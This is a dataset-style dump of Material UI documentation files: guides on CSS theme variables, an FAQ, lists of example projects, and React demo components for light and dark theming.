index
int64 0
0
| repo_id
stringlengths 16
181
| file_path
stringlengths 28
270
| content
stringlengths 1
11.6M
| __index_level_0__
int64 0
10k
|
---|---|---|---|---|
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables/overview.md | # CSS theme variables
<p class="description">An overview of adopting CSS theme variables in Material UI.</p>
[CSS variables](https://www.w3.org/TR/css-variables-1/) are a modern cross-browser feature that let you declare variables in CSS and reuse them in other properties.
You can implement them to improve Material UI's theming and customization experience.
:::info
If this is your first time encountering CSS variables, you should check out [the MDN Web Docs on CSS custom properties](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties) before continuing here.
:::
## Introduction
CSS theme variable support is a new feature in Material UI added in [`v5.6.0`](https://github.com/mui/material-ui/releases/tag/v5.6.0) (but not enabled by default). It tells Material UI components to use the generated CSS theme variables instead of raw values. This provides significant improvements in developer experience related to theming and customization.
With these variables, you can inject a theme into your app's stylesheet _at build time_ to apply the user's selected settings before the whole app is rendered.
## Advantages
- It lets you prevent [dark-mode SSR flickering](https://github.com/mui/material-ui/issues/27651).
- You can create unlimited color schemes beyond `light` and `dark`.
- It offers a better debugging experience not only for developers but also designers on your team.
- The color scheme of your website is automatically synced between browser tabs.
- It simplifies integration with third-party tools because CSS theme variables are available globally.
- It reduces the need for a nested theme when you want to apply dark styles to a specific part of your application.
## Trade-offs
For server-side applications, there are some trade-offs to consider:
| | Compare to the default method | Reason |
| :----------------------------------------------------------- | :---------------------------- | :------------------------------------------------------------------------------------------------------------- |
| HTML size | Bigger | CSS variables are generated for both light and dark mode at build time. |
| [First Contentful Paint (FCP)](https://web.dev/articles/fcp) | Longer | Since the HTML size is bigger, the time to download the HTML before showing the content is a bit longer. |
| [Time to Interactive (TTI)](https://web.dev/articles/tti) | Shorter (for dark mode) | Stylesheets are not regenerated between light and dark mode, a lot less time is spent running JavaScript code. |
:::warning
The comparison described in the table above may not be applicable to large and complex applications since there are so many factors that can impact performance metrics.
:::
## Mental model
Adopting CSS variables requires some shifts in your mental model of theming and customizing user-selected modes.
### Colors
**[Default approach](/material-ui/customization/dark-mode/)**: Light and dark colors are created separately.
```js
import { createTheme } from '@mui/material/styles';
const lightTheme = createTheme();
const darkTheme = createTheme({
palette: {
mode: 'dark',
},
});
```
**CSS theme variables**: Light and dark colors are consolidated into a theme.
```js
import { experimental_extendTheme as extendTheme } from '@mui/material/styles';
// `extendTheme` is a new API
const theme = extendTheme({
colorSchemes: {
light: { // palette for light mode
palette: {...}
},
dark: { // palette for dark mode
palette: {...}
}
}
})
```
### Styling
**Default approach**: Usually relies on JavaScript to switch the value between modes:
```js
createTheme({
components: {
MuiButton: {
styleOverrides: {
root: ({ theme }) => ({
// use JavaScript conditional expression
color: theme.palette.mode === 'dark' ? '#fff' : theme.palette.primary.main,
}),
},
},
},
});
```
**CSS theme variables**: Styling leans toward cascading and specificity by using the appropriate selector which lets you prevent [dark-mode SSR flickering](https://github.com/mui/material-ui/issues/27651):
```js
extendTheme({
components: {
MuiButton: {
styleOverrides: {
root: ({ theme }) => ({
color: theme.vars.palette.primary.main,
// When the mode switches to dark, the attribute selector is attached to
// the <html> tag by default.
'[data-mui-color-scheme="dark"] &': {
color: '#fff',
},
}),
},
},
},
});
```
## What's next
- To start a new project with CSS theme variables, check out the [basic usage guide](/material-ui/experimental-api/css-theme-variables/usage/).
- For an existing Material UI project, check out the [migration guide](/material-ui/experimental-api/css-theme-variables/migration/).
- For theming and customization, check out the [how-to guide](/material-ui/experimental-api/css-theme-variables/customization/).
| 3,500 |
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables/usage/CssVarsBasic.js | import * as React from 'react';
import {
experimental_extendTheme as extendTheme,
Experimental_CssVarsProvider as CssVarsProvider,
} from '@mui/material/styles';
import Button from '@mui/material/Button';
const theme = extendTheme({
cssVarPrefix: 'md-demo',
});
export default function CssVarsBasic() {
return (
<CssVarsProvider theme={theme}>
<Button variant="contained">Hello world</Button>
</CssVarsProvider>
);
}
| 3,501 |
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables/usage/CssVarsBasic.tsx | import * as React from 'react';
import {
experimental_extendTheme as extendTheme,
Experimental_CssVarsProvider as CssVarsProvider,
} from '@mui/material/styles';
import Button from '@mui/material/Button';
const theme = extendTheme({
cssVarPrefix: 'md-demo',
});
export default function CssVarsBasic() {
return (
<CssVarsProvider theme={theme}>
<Button variant="contained">Hello world</Button>
</CssVarsProvider>
);
}
| 3,502 |
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables/usage/CssVarsBasic.tsx.preview | <CssVarsProvider theme={theme}>
<Button variant="contained">Hello world</Button>
</CssVarsProvider> | 3,503 |
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-theme-variables/usage/usage.md | # CSS theme variables - Usage
<p class="description">Learn how to use the experimental APIs to adopt CSS theme variables.</p>
## Getting started
The CSS variables API relies on a new experimental provider for the theme called `Experimental_CssVarsProvider` to inject styles into Material UI components.
In addition to providing the theme in the inner React context, this new provider also generates CSS variables out of all tokens in the theme that are not functions, and makes them available in the context as well.
Once the `App` renders on the screen, you will see the CSS theme variables in the html `:root` stylesheet.
The variables are flattened and prefixed with `--mui` by default:
```css
/* generated global stylesheet */
:root {
--mui-palette-primary-main: #1976d2;
--mui-palette-primary-light: #42a5f5;
--mui-palette-primary-dark: #1565c0;
--mui-palette-primary-contrastText: #fff;
/* ...other variables */
}
```
The following demo uses `--md-demo` as a prefix for the variables:
{{"demo": "CssVarsBasic.js", "defaultCodeOpen": true}}
:::info
The `CssVarsProvider` is built on top of the [`ThemeProvider`](/material-ui/customization/theming/#themeprovider) with extra features like CSS variable generation, storage synchronization, unlimited color schemes, and more.
:::
## Toggle between light and dark mode
The `useColorScheme` hook lets you read and update the user-selected mode:
```jsx
import {
Experimental_CssVarsProvider as CssVarsProvider,
useColorScheme,
} from '@mui/material/styles';
// ModeSwitcher is an example interface for toggling between modes.
// Material UI does not provide the toggle interface—you have to build it yourself.
const ModeSwitcher = () => {
const { mode, setMode } = useColorScheme();
const [mounted, setMounted] = React.useState(false);
React.useEffect(() => {
setMounted(true);
}, []);
if (!mounted) {
// for server-side rendering
// learn more at https://github.com/pacocoursey/next-themes#avoid-hydration-mismatch
return null;
}
return (
<Button
variant="outlined"
onClick={() => {
if (mode === 'light') {
setMode('dark');
} else {
setMode('light');
}
}}
>
{mode === 'light' ? 'Dark' : 'Light'}
</Button>
);
};
function App() {
return (
<CssVarsProvider>
<ModeSwitcher />
</CssVarsProvider>
);
}
```
## Using theme variables
All of these variables are accessible in an object in the theme called `vars`.
The structure of this object is nearly identical to the theme structure, the only difference is that the values represent CSS variables.
- `theme.vars` (recommended): an object that refers to the CSS theme variables.
```js
const Button = styled('button')(({ theme }) => ({
backgroundColor: theme.vars.palette.primary.main, // var(--mui-palette-primary-main)
color: theme.vars.palette.primary.contrastText, // var(--mui-palette-primary-contrastText)
}));
```
For **TypeScript**, the typings are not enabled by default.
Follow the [TypeScript setup](#typescript) to enable the typings.
:::warning
Make sure that the components accessing `theme.vars.*` are rendered under the new provider, otherwise you will get a `TypeError`.
:::
- **Native CSS**: if you can't access the theme object, e.g. in a pure CSS file, you can use [`var()`](https://developer.mozilla.org/en-US/docs/Web/CSS/var) directly:
```css
/* external-scope.css */
.external-section {
background-color: var(--mui-palette-grey-50);
}
```
:::warning
If you have set up a [custom prefix](/material-ui/experimental-api/css-theme-variables/customization/#changing-variable-prefixes), make sure to replace the default `--mui`.
:::
## Server-side rendering
Place `getInitColorSchemeScript()` before the `<Main />` tag to prevent the dark-mode SSR flickering during the hydration phase.
### Next.js Pages Router
Add the following code to the custom [`pages/_document.js`](https://nextjs.org/docs/pages/building-your-application/routing/custom-document) file:
```jsx
import Document, { Html, Head, Main, NextScript } from 'next/document';
import { getInitColorSchemeScript } from '@mui/material/styles';
export default class MyDocument extends Document {
render() {
return (
<Html data-color-scheme="light">
<Head>...</Head>
<body>
{getInitColorSchemeScript()}
<Main />
<NextScript />
</body>
</Html>
);
}
}
```
## TypeScript
The theme variables type is not enabled by default. You need to import the module augmentation to enable the typings:
```ts
// The import can be in any file that is included in your `tsconfig.json`
import type {} from '@mui/material/themeCssVarsAugmentation';
import { styled } from '@mui/material/styles';
const StyledComponent = styled('button')(({ theme }) => ({
// ✅ typed-safe
color: theme.vars.palette.primary.main,
}));
```
## API
### `<CssVarsProvider>` props
- `defaultMode?: 'light' | 'dark' | 'system'` - Application's default mode (`light` by default)
- `disableTransitionOnChange : boolean` - Disable CSS transitions when switching between modes
- `theme: ThemeInput` - the theme provided to React's context
- `modeStorageKey?: string` - localStorage key used to store application `mode`
- `attribute?: string` - DOM attribute for applying color scheme
### `useColorScheme: () => ColorSchemeContextValue`
- `mode: string` - The user's selected mode
- `setMode: mode => {…}` - Function for setting the `mode`. The `mode` is saved to internal state and local storage; if `mode` is null, it will be reset to the default mode
### `getInitColorSchemeScript: (options) => React.ReactElement`
**options**
- `defaultMode?: 'light' | 'dark' | 'system'`: - Application's default mode before React renders the tree (`light` by default)
- `modeStorageKey?: string`: - localStorage key used to store application `mode`
- `attribute?: string` - DOM attribute for applying color scheme
| 3,504 |
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-variables/CssVariablesCustomization.js | import * as React from 'react';
import Button from '@mui/material/Button';
import { colorChannel } from '@mui/system';
import {
Experimental_CssVarsProvider as CssVarsProvider,
styled,
} from '@mui/material/styles';
// Custom button using custom styles with CSS variables
const CustomButton = styled(Button)(({ theme }) => ({
backgroundColor: theme.vars.palette.success.dark,
color: theme.vars.palette.common.white,
'&:hover': {
backgroundColor: `rgba(${theme.vars.palette.success.mainChannel} / 0.95)`,
},
}));
// Custom button using CSS variables
const CssVarsCustomButton = styled(Button)({
'--mui-palette-primary-main': '#FF0000',
'--mui-palette-primary-dark': '#8B0000',
'--mui-palette-primary-mainChannel': colorChannel('#FF0000'), // necessary for calculating the alpha values
});
const useEnhancedEffect =
typeof window !== 'undefined' ? React.useLayoutEffect : React.useEffect;
export default function CssVariablesCustomization() {
// the `node` is used for attaching CSS variables to this demo, you might not need it in your application.
const [node, setNode] = React.useState(null);
useEnhancedEffect(() => {
setNode(document.getElementById('css-vars-customization'));
}, []);
return (
<div id="css-vars-customization">
<CssVarsProvider
colorSchemeNode={node || null}
colorSchemeSelector="#css-vars-customization"
>
<CustomButton sx={{ mr: 1 }}>Custom styles</CustomButton>
<CssVarsCustomButton variant="contained">CSS variables</CssVarsCustomButton>
</CssVarsProvider>
</div>
);
}
| 3,505 |
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-variables/CssVarsCustomTheme.js | import * as React from 'react';
import {
Experimental_CssVarsProvider as CssVarsProvider,
useColorScheme,
experimental_extendTheme,
} from '@mui/material/styles';
import Moon from '@mui/icons-material/DarkMode';
import Sun from '@mui/icons-material/LightMode';
import Button from '@mui/material/Button';
import Box from '@mui/material/Box';
import { teal, deepOrange, orange, cyan } from '@mui/material/colors';
function ColorSchemePicker() {
const { mode, setMode } = useColorScheme();
const [mounted, setMounted] = React.useState(false);
React.useEffect(() => {
setMounted(true);
}, []);
if (!mounted) {
return null;
}
return (
<Button
variant="outlined"
onClick={() => {
if (mode === 'light') {
setMode('dark');
} else {
setMode('light');
}
}}
>
{mode === 'light' ? <Moon /> : <Sun />}
</Button>
);
}
const theme = experimental_extendTheme({
colorSchemes: {
light: {
palette: {
primary: teal,
secondary: deepOrange,
},
},
dark: {
palette: {
primary: cyan,
secondary: orange,
},
},
},
});
const useEnhancedEffect =
typeof window !== 'undefined' ? React.useLayoutEffect : React.useEffect;
export default function CssVarsCustomTheme() {
// the `node` is used for attaching CSS variables to this demo, you might not need it in your application.
const [node, setNode] = React.useState(null);
useEnhancedEffect(() => {
setNode(document.getElementById('css-vars-custom-theme'));
}, []);
return (
<div id="css-vars-custom-theme">
<CssVarsProvider
theme={theme}
colorSchemeNode={node || null}
colorSchemeSelector="#css-vars-custom-theme"
colorSchemeStorageKey="custom-theme-color-scheme"
modeStorageKey="custom-theme-mode"
>
<Box bgcolor="background.paper" sx={{ p: 1 }}>
<Box sx={{ py: 2, mx: 'auto' }}>
<Box sx={{ pb: 4 }}>
<ColorSchemePicker />
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button variant="contained">Text</Button>
<Button variant="outlined">Text</Button>
<Button>Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="secondary" variant="contained">
Text
</Button>
<Button color="secondary" variant="outlined">
Text
</Button>
<Button color="secondary">Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="error" variant="contained">
Text
</Button>
<Button color="error" variant="outlined">
Text
</Button>
<Button color="error">Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="info" variant="contained">
Text
</Button>
<Button color="info" variant="outlined">
Text
</Button>
<Button color="info">Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="warning" variant="contained">
Text
</Button>
<Button color="warning" variant="outlined">
Text
</Button>
<Button color="warning">Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="success" variant="contained">
Text
</Button>
<Button color="success" variant="outlined">
Text
</Button>
<Button color="success">Text</Button>
</Box>
</Box>
</Box>
</CssVarsProvider>
</div>
);
}
| 3,506 |
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-variables/CssVarsCustomTheme.tsx | import * as React from 'react';
import {
Experimental_CssVarsProvider as CssVarsProvider,
useColorScheme,
experimental_extendTheme,
} from '@mui/material/styles';
import Moon from '@mui/icons-material/DarkMode';
import Sun from '@mui/icons-material/LightMode';
import Button from '@mui/material/Button';
import Box from '@mui/material/Box';
import { teal, deepOrange, orange, cyan } from '@mui/material/colors';
function ColorSchemePicker() {
const { mode, setMode } = useColorScheme();
const [mounted, setMounted] = React.useState(false);
React.useEffect(() => {
setMounted(true);
}, []);
if (!mounted) {
return null;
}
return (
<Button
variant="outlined"
onClick={() => {
if (mode === 'light') {
setMode('dark');
} else {
setMode('light');
}
}}
>
{mode === 'light' ? <Moon /> : <Sun />}
</Button>
);
}
const theme = experimental_extendTheme({
colorSchemes: {
light: {
palette: {
primary: teal,
secondary: deepOrange,
},
},
dark: {
palette: {
primary: cyan,
secondary: orange,
},
},
},
});
const useEnhancedEffect =
typeof window !== 'undefined' ? React.useLayoutEffect : React.useEffect;
export default function CssVarsCustomTheme() {
// the `node` is used for attaching CSS variables to this demo, you might not need it in your application.
const [node, setNode] = React.useState<null | HTMLElement>(null);
useEnhancedEffect(() => {
setNode(document.getElementById('css-vars-custom-theme') as null | HTMLElement);
}, []);
return (
<div id="css-vars-custom-theme">
<CssVarsProvider
theme={theme}
colorSchemeNode={node || null}
colorSchemeSelector="#css-vars-custom-theme"
colorSchemeStorageKey="custom-theme-color-scheme"
modeStorageKey="custom-theme-mode"
>
<Box bgcolor="background.paper" sx={{ p: 1 }}>
<Box sx={{ py: 2, mx: 'auto' }}>
<Box sx={{ pb: 4 }}>
<ColorSchemePicker />
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button variant="contained">Text</Button>
<Button variant="outlined">Text</Button>
<Button>Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="secondary" variant="contained">
Text
</Button>
<Button color="secondary" variant="outlined">
Text
</Button>
<Button color="secondary">Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="error" variant="contained">
Text
</Button>
<Button color="error" variant="outlined">
Text
</Button>
<Button color="error">Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="info" variant="contained">
Text
</Button>
<Button color="info" variant="outlined">
Text
</Button>
<Button color="info">Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="warning" variant="contained">
Text
</Button>
<Button color="warning" variant="outlined">
Text
</Button>
<Button color="warning">Text</Button>
</Box>
<Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 4, mb: 1 }}>
<Button color="success" variant="contained">
Text
</Button>
<Button color="success" variant="outlined">
Text
</Button>
<Button color="success">Text</Button>
</Box>
</Box>
</Box>
</CssVarsProvider>
</div>
);
}
| 3,507 |
0 | petrpan-code/mui/material-ui/docs/data/material/experimental-api | petrpan-code/mui/material-ui/docs/data/material/experimental-api/css-variables/CssVarsProviderBasic.tsx.preview | <CssVarsProvider>
<ThemeConsumer />
</CssVarsProvider> | 3,508 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/design-resources/design-resources.md | # Design resources
<p class="description">Be more efficient designing and developing with the same library.</p>
## Official kits
Pick your favorite design tool to enjoy and use the Material UI component inventory, including over 1,500 unique elements with their full range of states and variations.
{{"component": "modules/components/MaterialUIDesignResources.js"}}
## Third-party resources
### UXPin
[Material UI for UXPin](https://www.uxpin.com/merge/mui-library): A large UI kit of Material UI components.
The design tool renders the components in a web runtime. It uses the same React implementation as your production environment.
| 3,509 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/example-projects/example-projects.md | # Example projects
<p class="description">A collection of example, boilerplates, and scaffolds to jumpstart your next Material UI project.</p>
## Official examples
The following starter projects are all available in the MUI Core [`/examples`](https://github.com/mui/material-ui/tree/master/examples) folder.
These examples feature Material UI paired with other popular React libraries and frameworks, so you can skip the initial setup steps and jump straight into building.
Not sure which to pick?
We recommend Next.js for a comprehensive solution, or Vite if you're looking for a leaner development experience.
See [Start a New React Project](https://react.dev/learn/start-a-new-react-project) from the official React docs to learn more about the options available.
<!-- #default-branch-switch -->
{{"component": "modules/components/MaterialUIExampleCollection"}}
<br />
## Official themes and templates
Once you've chosen your preferred scaffold above, you could move on to the [Templates](/material-ui/getting-started/templates/) doc and choose a readymade user interface to plug in.
For more complex prebuilt UIs, check out our [premium themes and templates](https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=example-projects-store) in the MUI Store.
## Community projects
The following projects are maintained by the community and curated by MUI.
They're great resources for learning more about real-world usage of Material UI alongside other popular libraries and tools.
### Free
- [GraphQL API and Relay Starter Kit](https://github.com/kriasoft/relay-starter-kit):
- 
- GraphQL API project using code-first design (TypeScript, OAuth, GraphQL.js, Knex, Cloud SQL).
- Web application project pre-configured with Webpack v5, TypeScript, React, Relay, Material UI.
- Serverless deployment: `api` -> Cloud Functions, `web` -> Cloudflare Workers.
- Client-side page routing/rendering at CDN edge locations, lazy loading.
- Optimized for fast CI/CD builds and deployments using Yarn v2 monorepo design.
- [React Admin](https://github.com/marmelab/react-admin)
- 
- A frontend framework for building B2B applications running in the browser.
- On top of REST/GraphQL APIs, using ES6, React and Material Design.
- [refine](https://github.com/refinedev/refine):
- 
- An open-source, headless, React-based framework for the rapid development of web applications that supports Vite, Next.js and Remix.
- Designed for building data-intensive applications like admin panels, dashboards, and internal tools, but thanks to built-in SSR support, can also power customer-facing applications like storefronts.
- Supports Material UI to generate a complete CRUD app that follows the Material Design guidelines and best practices.
- Connectors for 15+ backend services, including REST API, GraphQL, NestJS, Airtable, Strapi, Supabase, Appwrite, Firebase, and Hasura.
- Out-of-the-box support for live/real-time applications, audit logs, authentication, access control flows and i18n.
- Advanced routing with any router library.
- [React Most Wanted](https://github.com/TarikHuber/react-most-wanted):
- 
- Created with Create React App.
- Custom Create React App script to start a new project with just a single CLI command.
- Build for Firebase including Authentication using the official Firebase Web Auth UI.
- Routing with React Router including error handling (404) and lazy loading.
- All PWA features included (SW, Notifications, deferred installation prompt, and more).
- Optimized and scalable performance (all ~100 points on Lighthouse).
- [React SaaS Template](https://github.com/dunky11/react-saas-template):
- 
- Created with Create React App.
- Features a landing page, a blog, an area to login/register and an admin-dashboard.
- Fully routed using react-router.
- Lazy loads components to boost performance.
- Components for statistics, text with emoji support, image upload, and more.
### Paid
- [ScaffoldHub](https://www.scaffoldhub.io/?partner=1):
- Tool for building web applications.
- Choose your framework and library (React with Material UI).
- Choose your database (SQL, MongoDB or Firestore).
- Model your database and application with the intuitive GUI.
- Generate your application, including a complete scaffolded backend.
- Preview your application online, and download the generated code.
- [Divjoy](https://divjoy.com?via=material-ui):
- Create a Material UI app in minutes.
- Templates, authentication, database integration, subscription payments, and more.
| 3,510 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/faq/faq.md | # Frequently Asked Questions
<p class="description">Stuck on a particular problem? Check some of these common gotchas first in the FAQ.</p>
If you still can't find what you're looking for, you can refer to our [support page](/material-ui/getting-started/support/).
## MUI is awesome. How can I support the company?
There are many ways to support MUI:
- **Spread the word**. Evangelize MUI's products by [linking to mui.com](https://mui.com/) on your website—every backlink matters.
Follow us on [Twitter](https://twitter.com/MUI_hq), like and retweet the important news. Or just talk about us with your friends.
- **Give us feedback**. Tell us what we're doing well or where we can improve. Please upvote (👍) the issues that you are the most interested in seeing solved.
- **Help new users**. You can answer questions on
[Stack Overflow](https://stackoverflow.com/questions/tagged/material-ui).
- **Make changes happen**.
- Edit the documentation. Every page has an "Edit this page" link in the top right.
- Report bugs or missing features by [creating an issue](https://github.com/mui/material-ui/issues/new).
- Review and comment on existing [pull requests](https://github.com/mui/material-ui/pulls) and [issues](https://github.com/mui/material-ui/issues).
- [Improve our documentation](https://github.com/mui/material-ui/tree/HEAD/docs), fix bugs, or add features by [submitting a pull request](https://github.com/mui/material-ui/pulls).
- **Support us financially on [Open Collective](https://opencollective.com/mui-org)**.
If you use Material UI in a commercial project and would like to support its continued development by becoming a Sponsor, or in a side or hobby project and would like to become a Backer, you can do so through Open Collective.
All funds donated are managed transparently, and Sponsors receive recognition in the README and on the MUI home page.
## Why do the fixed positioned elements move when a modal is opened?
Scrolling is blocked as soon as a modal is opened.
This prevents interacting with the background when the modal should be the only interactive content. However, removing the scrollbar can make your **fixed positioned elements** move.
In this situation, you can apply a global `.mui-fixed` class name to tell Material UI to handle those elements.
## How can I disable the ripple effect globally?
The ripple effect is exclusively coming from the `BaseButton` component.
You can disable the ripple effect globally by providing the following in your theme:
```js
import { createTheme } from '@mui/material';
const theme = createTheme({
components: {
// Name of the component ⚛️
MuiButtonBase: {
defaultProps: {
// The props to apply
disableRipple: true, // No more ripple, on the whole application 💣!
},
},
},
});
```
## How can I disable transitions globally?
Material UI uses the same theme helper for creating all its transitions.
Therefore you can disable all transitions by overriding the helper in your theme:
```js
import { createTheme } from '@mui/material';
const theme = createTheme({
transitions: {
// So we have `transition: none;` everywhere
create: () => 'none',
},
});
```
It can be useful to disable transitions during visual testing or to improve performance on low-end devices.
You can go one step further by disabling all transitions and animations effects:
```js
import { createTheme } from '@mui/material';
const theme = createTheme({
components: {
// Name of the component ⚛️
MuiCssBaseline: {
styleOverrides: {
'*, *::before, *::after': {
transition: 'none !important',
animation: 'none !important',
},
},
},
},
});
```
Notice that the usage of `CssBaseline` is required for the above approach to work.
If you choose not to use it, you can still disable transitions and animations by including these CSS rules:
```css
*,
*::before,
*::after {
transition: 'none !important';
animation: 'none !important';
}
```
## Do I have to use Emotion to style my app?
No, it's not required.
But if you are using the default styled engine (`@mui/styled-engine`) the Emotion dependency comes built in, so carries no additional bundle size overhead.
Perhaps, however, you're adding some Material UI components to an app that already uses another styling solution,
or are already familiar with a different API, and don't want to learn a new one? In that case, head over to the
[Style library interoperability](/material-ui/guides/interoperability/) section,
where we show how simple it is to restyle Material UI components with alternative style libraries.
## When should I use inline-style vs. CSS?
As a rule of thumb, only use inline-styles for dynamic style properties.
The CSS alternative provides more advantages, such as:
- auto-prefixing
- better debugging
- media queries
- keyframes
## How do I use react-router?
We detail the [integration with third-party routing libraries](/material-ui/guides/routing/) like react-router or Next.js in our guide.
## How can I access the DOM element?
All Material UI components that should render something in the DOM forward their
ref to the underlying DOM component. This means that you can get DOM elements
by reading the ref attached to Material UI components:
```jsx
// or a ref setter function
const ref = React.createRef();
// render
<Button ref={ref} />;
// usage
const element = ref.current;
```
If you're not sure if the Material UI component in question forwards its ref you can check the API documentation under "Props".
You should find the message below, like in the [Button API](/material-ui/api/button/#props), [Button API](/material-ui/api/button/#props)
> The ref is forwarded to the root element.
## My App doesn't render correctly on the server
If it doesn't work, in 99% of cases it's a configuration issue.
A missing property, a wrong call order, or a missing component – server-side rendering is strict about configuration.
The best way to find out what's wrong is to compare your project to an **already working setup**.
Check out the [reference implementations](/material-ui/guides/server-rendering/#reference-implementations), bit by bit.
## Why are the colors I am seeing different from what I see here?
The documentation site is using a custom theme. Hence, the color palette is
different from the default theme that Material UI ships. Please refer to [this
page](/material-ui/customization/theming/) to learn about theme customization.
## Why does component X require a DOM node in a prop instead of a ref object?
Components like the [Portal](/base-ui/react-portal/components-api/) or [Popper](/material-ui/api/popper/#props) require a DOM node in the `container` or `anchorEl` prop respectively.
It seems convenient to simply pass a ref object in those props and let Material UI access the current value.
This works in a simple scenario:
```jsx
function App() {
const container = React.useRef(null);
return (
<div className="App">
<Portal container={container}>
<span>portaled children</span>
</Portal>
<div ref={container} />
</div>
);
}
```
where `Portal` would only mount the children into the container when `container.current` is available.
Here is a naive implementation of Portal:
```jsx
function Portal({ children, container }) {
const [node, setNode] = React.useState(null);
React.useEffect(() => {
setNode(container.current);
}, [container]);
if (node === null) {
return null;
}
return ReactDOM.createPortal(children, node);
}
```
With this simple heuristic `Portal` might re-render after it mounts because refs are up-to-date before any effects run.
However, just because a ref is up-to-date doesn't mean it points to a defined instance.
If the ref is attached to a ref forwarding component it is not clear when the DOM node will be available.
In the example above, the `Portal` would run an effect once, but might not re-render because `ref.current` is still `null`.
This is especially apparent for React.lazy components in Suspense.
The above implementation could also not account for a change in the DOM node.
This is why we require a prop with the actual DOM node so that React can take care of determining when the `Portal` should re-render:
```jsx
function App() {
const [container, setContainer] = React.useState(null);
const handleRef = React.useCallback(
(instance) => setContainer(instance),
[setContainer],
);
return (
<div className="App">
<Portal container={container}>
<span>Portaled</span>
</Portal>
<div ref={handleRef} />
</div>
);
}
```
## What's the clsx dependency for?
[clsx](https://github.com/lukeed/clsx) is a tiny utility for constructing `className` strings conditionally, out of an object with keys being the class strings, and values being booleans.
Instead of writing:
```jsx
// let disabled = false, selected = true;
return (
<div
className={`MuiButton-root ${disabled ? 'Mui-disabled' : ''} ${
selected ? 'Mui-selected' : ''
}`}
/>
);
```
you can do:
```jsx
import clsx from 'clsx';
return (
<div
className={clsx('MuiButton-root', {
'Mui-disabled': disabled,
'Mui-selected': selected,
})}
/>
);
```
## I cannot use components as selectors in the styled() utility. What should I do?
If you are getting the error: `TypeError: Cannot convert a Symbol value to a string`, take a look at the [styled()](/system/styled/#how-to-use-components-selector-api) docs page for instructions on how you can fix this.
## [legacy] I have several instances of styles on the page
If you are seeing a warning message in the console like the one below, you probably have several instances of `@mui/styles` initialized on the page.
:::warning
It looks like there are several instances of `@mui/styles` initialized in this application.
This may cause theme propagation issues, broken class names, specificity issues, and make your application bigger without a good reason.
:::
### Possible reasons
There are several common reasons for this to happen:
- You have another `@mui/styles` library somewhere in your dependencies.
- You have a monorepo structure for your project (e.g, lerna, yarn workspaces) and `@mui/styles` module is a dependency in more than one package (this one is more or less the same as the previous one).
- You have several applications that are using `@mui/styles` running on the same page (e.g., several entry points in webpack are loaded on the same page).
### Duplicated module in node_modules
If you think that the issue may be in the duplication of the @mui/styles module somewhere in your dependencies, there are several ways to check this.
You can use `npm ls @mui/styles`, `yarn list @mui/styles` or `find -L ./node_modules | grep /@mui/styles/package.json` commands in your application folder.
If none of these commands identified the duplication, try analyzing your bundle for multiple instances of @mui/styles. You can just check your bundle source, or use a tool like [source-map-explorer](https://github.com/danvk/source-map-explorer) or [webpack-bundle-analyzer](https://github.com/webpack-contrib/webpack-bundle-analyzer).
If you identified that duplication is the issue that you are encountering there are several things you can try to solve it:
If you are using npm you can try running `npm dedupe`.
This command searches the local dependencies and tries to simplify the structure by moving common dependencies further up the tree.
If you are using webpack, you can change the way it will [resolve](https://webpack.js.org/configuration/resolve/#resolve-modules) the @mui/styles module. You can overwrite the default order in which webpack will look for your dependencies and make your application node_modules more prioritized than default node module resolution order:
```diff
resolve: {
+ alias: {
+ '@mui/styles': path.resolve(appFolder, 'node_modules', '@mui/styles'),
+ },
},
```
### Running multiple applications on one page
If you have several applications running on one page, consider using one @mui/styles module for all of them. If you are using webpack, you can use [CommonsChunkPlugin](https://webpack.js.org/plugins/commons-chunk-plugin/) to create an explicit [vendor chunk](https://webpack.js.org/plugins/commons-chunk-plugin/#explicit-vendor-chunk), that will contain the @mui/styles module:
```diff
module.exports = {
entry: {
+ vendor: ['@mui/styles'],
app1: './src/app.1.js',
app2: './src/app.2.js',
},
plugins: [
